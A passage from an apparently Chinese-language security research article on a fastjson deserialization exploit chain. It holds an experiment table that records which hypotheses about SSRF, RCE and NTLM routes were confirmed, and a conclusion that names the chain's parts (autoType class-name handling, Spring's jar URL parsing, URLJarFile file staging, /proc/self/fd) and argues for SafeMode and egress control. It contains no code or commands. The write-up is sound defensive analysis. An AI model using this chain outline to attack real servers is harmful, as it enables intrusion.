| 实验 | 原假设 | 结果 | 矩阵修正 |
|---|---|---|---|
| E1 | R4b 假设 | 证实 | → 实证(E1, 2026-07-26) |
| E2 | R6 假设 | 证实 | → 实证(E2, 2026-07-26) |
| E3 | R7 RCE/NTLM 假设 | 证伪 | → 死格子(transport 未建立,E3);移除"NTLM hash 降级收益" |
| E4 | R3/R3b 推断 | 未决(SSRF 确认,RCE 未达成) | → 见 §5 更新分析 |
| E5 | R8 假设 | 证实 | → 实证(E5, 2026-07-26) |
修正规则执行记录:E3 证伪后已移除 §4 矩阵中 R7 的"RCE?"标注和"NTLM hash 降级"描述。E5 证实后 §6.1 防御效力表已补充 FTP 通道说明。
9. 结语:这个漏洞教会我们什么
回看整条链,没有一环是"新"的:replace('.', '/') 从 autoType 时代第一天就在;Spring 的 jar Handler 宽容解析存在了十几年;URLJarFile.retrieve 的落盘行为和 /proc/self/fd 更是 Unix 的老古董;JDK 9 收紧类名校验时甚至没人把它当安全修复。每一环单独看都是合理设计,甚至是防御性设计。漏洞只出现在它们被按特定顺序拼接之后——fastjson 替攻击者按下了那个拼接开关。
这正是为什么黑/白名单、版本升级、WAF 这些"针对已知链环节"的防御会系统性失效:它们防御的是链路上的点,而漏洞住在点与点之间的缝隙里。有效的防御只有两类——斩断信任源头(SafeMode / noneautotype,在信任建立之前拒绝),或拆除缝隙本身的环境前提(出网管控 + 无 staging 面)。至于"语义缝隙"为什么能成为一个可操作的漏洞分析框架、它和 desync / weird machine 等相邻概念的关系,是中篇的主题。